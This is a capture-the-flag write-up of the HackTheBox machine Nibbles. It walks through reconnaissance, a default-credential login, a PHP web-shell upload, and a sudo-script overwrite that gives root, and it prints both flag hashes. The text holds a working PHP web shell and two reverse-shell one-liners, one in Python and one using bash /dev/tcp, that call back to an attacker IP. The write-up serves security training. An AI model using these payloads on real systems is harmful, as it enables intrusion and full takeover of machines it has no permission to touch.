Back to Blog
HTB Write-up HackTheBox / Nibbles
HTB Write-up

HTML Comment.
Default Creds.
PHP Upload. Writable sudo Script. Root.

The index page source contains an HTML comment pointing directly at the CMS before any enumeration tool runs. admin/nibbles logs you into the dashboard. The My Image plugin accepts the PHP file despite throwing image processing errors. Shell lands as nibbler. sudo -l reveals a NOPASSWD rule on a world-writable script. printf overwrites it. Root.


Machine Nibbles
Platform HackTheBox
OS Linux (Ubuntu)
Difficulty Easy
Date 3 May 2026
Status Rooted
Flags User + Root

The Machine

Nibbles is a Linux machine running Apache and OpenSSH. The attack path is entirely web-focused. The CMS directory is exposed in an HTML comment before any enumeration tool runs, default credentials grant admin access to the dashboard, a file upload vulnerability in the My Image plugin delivers code execution, and a sudo misconfiguration on a world-writable script hands over root without any complex escalation chain.

Two things stand out about this machine from an exam perspective. First, the recon comes from reading the response, not from running tools. The comment is in the page source. curl catches it before gobuster runs a single request. Second, the file upload bypass relies on understanding that errors during upload processing do not mean the file was rejected. The plugin validates by MIME type and fails gracefully, but the file hits disk regardless. Always verify by accessing the upload path directly.

PortServiceNotes
22SSH (OpenSSH 7.2p2)Not the initial attack surface
80HTTP (Apache 2.4.18)CMS entry point. All initial access runs through here

Enumeration

Two-phase nmap. Ports 22 and 80.

$ nmap -p- --min-rate 1000 -oN nibbles-all-ports.txt 10.129.27.176
Nmap wide port scan on Nibbles showing ports 22 and 80 open
$ nmap -p 22,80 -sC -sV --min-rate 1000 -oN nibbles-service-scan.txt 10.129.27.176
Nmap service scan on Nibbles showing OpenSSH 7.2p2 on port 22 and Apache httpd 2.4.18 on port 80

Apache 2.4.18 on port 80. OpenSSH 7.2p2 on port 22. No SSH credentials yet so the full attack surface sits on port 80.

HTML Source Recon

Before running gobuster, curl the index page and read every line of the response:

$ curl http://10.129.27.176
curl output of the Nibbles index page showing an HTML comment revealing the /nibbleblog/ directory
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->

The HTML comment exposes /nibbleblog/ directly. The attack surface is identified before gobuster runs a single request.

Finding

HTML comments in page source frequently expose directories, credentials, internal hostnames, and application details. curl the target and read the full response before switching to enumeration tools. In this case the comment hands over the CMS path and eliminates the entire directory brute-force phase.

Web Application: Nibbleblog CMS

Nibbleblog CMS homepage at /nibbleblog/ on Nibbles

Nibbleblog is a PHP-based CMS. The version is fingerprinted from the page source and directory listing. The admin interface lives at /nibbleblog/admin.php.

Directory Enumeration

$ gobuster dir -u http://10.129.27.176/nibbleblog/ \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt \
  -x php,html,txt -o nibbles-gobuster.txt
Gobuster results against /nibbleblog/ showing admin.php, admin/, content/, and other directories on Nibbles

Key findings: /nibbleblog/admin.php and /nibbleblog/admin/ with directory listing enabled.

Apache directory listing of /nibbleblog/admin/ exposing the CMS administration structure on Nibbles

Directory listing on /nibbleblog/admin/ exposes the full CMS administration structure. The login panel is at admin.php.


Foothold: Default Credentials

Nibbleblog admin.php login panel on Nibbles

The login panel is at http://10.129.27.176/nibbleblog/admin.php. Before reaching for a wordlist, try the obvious guess: the machine name as the password.

Username: admin
Password: nibbles
Nibbleblog admin dashboard after logging in with admin/nibbles on Nibbles

Admin dashboard. Default credentials worked on the first attempt.

Finding

On any CMS login panel, try default credentials before running a password attack. admin/admin, admin/password, and admin/machinename cover a significant percentage of easy and medium machines. Nibbles uses the machine name as the password, which is the obvious guess and requires no tools.

My Image Plugin: PHP File Upload RCE

Navigate to Plugins, find the My Image plugin, and open Configure. The plugin is designed to accept an image for the site header. It does not properly validate file extensions.

Nibbleblog My Image plugin Configure page with file upload functionality on Nibbles

Create a minimal PHP web shell:

$ echo '<?php system($_REQUEST["cmd"]); ?>' > shell.php
Creating the PHP web shell file shell.php on Nibbles

Upload shell.php through the My Image plugin. The page returns multiple image processing errors after upload:

Nibbleblog My Image plugin upload errors after uploading shell.php, showing the file was saved despite the errors on Nibbles

The errors appear because the plugin attempts to process the file as an image and fails. The file itself is saved to disk regardless. Errors during upload do not mean the file was rejected.

Verify execution by accessing the upload path directly:

$ curl -s "http://10.129.27.176/nibbleblog/content/private/plugins/my_image/image.php" \
  --data-urlencode "cmd=id"
curl confirming RCE via the uploaded image.php shell showing uid=1001(nibbler) on Nibbles
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

Code execution as nibbler confirmed.

Finding

The My Image plugin validates file content as an image and throws errors when it cannot process a PHP file, but writes the file to disk regardless. File upload filters that rely on content processing rather than extension or MIME-type enforcement at the storage layer are bypassed by any file that clears the initial write. Always access the upload destination path after any upload attempt, regardless of what errors the application reported.

Reverse Shell

Bash reverse shells were getting mangled through the web shell. Switch to Python:

$ curl -s "http://10.129.27.176/nibbleblog/content/private/plugins/my_image/image.php" \
  --data-urlencode "cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.67\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"
Python reverse shell landing on the Netcat listener as nibbler on Nibbles

Shell lands as nibbler. Stabilize with pty and stty:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Shell stabilized with Python pty and stty on Nibbles
cat /home/nibbler/user.txt
User flag captured from /home/nibbler/user.txt on Nibbles
USER 2e6249a78b6a6d2c33fc8c2873c6158c

Privilege Escalation: Writable sudo Script

First post-foothold check. List nibbler's home directory and run sudo -l:

ls -la /home/nibbler/
sudo -l
ls -la of /home/nibbler showing personal.zip and sudo -l output revealing NOPASSWD on monitor.sh on Nibbles
User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

nibbler can execute /home/nibbler/personal/stuff/monitor.sh as root with no password. The personal/ directory does not exist yet. A personal.zip archive is sitting in nibbler's home directory. Unzip it:

unzip /home/nibbler/personal.zip
/home/nibbler/personal/stuff/ directory after unzipping personal.zip, showing monitor.sh with rwxrwxrwx permissions on Nibbles
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh

monitor.sh is world-writable. The sudo rule is effectively NOPASSWD for any command: nibbler controls the script content entirely.

Finding

A sudo NOPASSWD rule on a script in a user-writable directory is root access regardless of what the script currently contains. The restriction is on the path, not the content. Overwriting monitor.sh with any payload and executing it via sudo runs that payload as root. World-writable permissions (rwxrwxrwx) mean every account on the system can overwrite it.

Overwrite monitor.sh with a reverse shell payload using printf for reliability:

printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.15.67/5555 0>&1\n' \
  > /home/nibbler/personal/stuff/monitor.sh

Execute via sudo with a listener ready on port 5555:

sudo /home/nibbler/personal/stuff/monitor.sh
printf payload written to monitor.sh and executed via sudo on Nibbles, root shell landing on port 5555

Root shell lands on the listener.

cat /root/root.txt
Root flag captured from /root/root.txt on Nibbles
ROOT f3284451317ad4c330d57c547e38e122
HackTheBox Nibbles solved confirmation screen, pwned 3 May 2026

Attack Chain

StepTechniqueResult
1Nmap two-phase scanApache 2.4.18 on port 80, OpenSSH 7.2p2 on port 22
2curl index page sourceHTML comment reveals /nibbleblog/ before any directory brute-force
3Gobuster against /nibbleblog/admin.php and admin/ with directory listing found
4Default credentials: admin/nibblesAdmin dashboard access. No brute-force required
5My Image plugin PHP uploadshell.php saved to disk despite image processing errors
6curl image.php with cmd=idRCE confirmed as nibbler. Python reverse shell fired
7sudo -l as nibblerNOPASSWD on monitor.sh in nibbler's home directory
8printf payload overwrite + sudo executionmonitor.sh replaced with reverse shell. Root shell on port 5555

Vulnerabilities Found

VulnerabilityLocationImpact
HTML comment exposing CMS directoryIndex page source, /nibbleblog/Full attack surface identified before enumeration tools run
Default credentials on CMS admin panel/nibbleblog/admin.php, admin/nibblesFull admin dashboard access with no brute-force required
PHP file upload bypass in My Image plugin/nibbleblog/content/private/plugins/my_image/image.phpRemote code execution as nibbler via uploaded PHP web shell
sudo NOPASSWD on world-writable script/home/nibbler/personal/stuff/monitor.sh, /etc/sudoersAny user can overwrite the script and execute arbitrary commands as root via sudo

Lessons Learned

  • Read the page source before running tools. The HTML comment on the index page gave away the entire attack surface before gobuster ran a single request. curl the target, read every line of the response including comments, headers, and hidden fields. This step is free and takes seconds.
  • Default credentials on CMS panels are always the first thing to try. admin/admin, admin/password, and admin/machinename cover a substantial percentage of lab machines and real engagements. admin/nibbles requires no tools and no wordlists. Try the obvious guess before reaching for Hydra or Burp Intruder.
  • Upload errors do not mean the file was rejected. The My Image plugin threw multiple image processing errors but saved the PHP file to disk regardless. Any filter that operates on the content after writing the file to a temporary location can fail while leaving the file accessible. Always verify by accessing the upload destination path directly after any upload attempt.
  • When bash reverse shells fail due to redirect operator issues, switch to Python. The Python socket-based reverse shell bypasses shell interpretation entirely and works reliably from web shell contexts where bash redirect characters get mangled or interpreted by the web server before reaching bash.
  • A sudo rule on a user-writable script is root access. The restriction in a sudo NOPASSWD rule is on the binary path, not its contents. World-writable permissions on monitor.sh meant the sudo rule was effectively unrestricted. printf is more reliable than echo for writing payloads because it handles special characters and escape sequences predictably.
  • personal.zip in a user's home directory is worth investigating immediately. Archives in home directories often contain configuration files, credentials, scripts, or other material relevant to privilege escalation. The zip here contained the script targeted by the sudo rule, which did not yet exist on the filesystem.
Previous phpbash in /dev/. Sudo Lateral to scriptmanager. Cron Runs Your Script as Root.
Found this useful?

Share it with your network.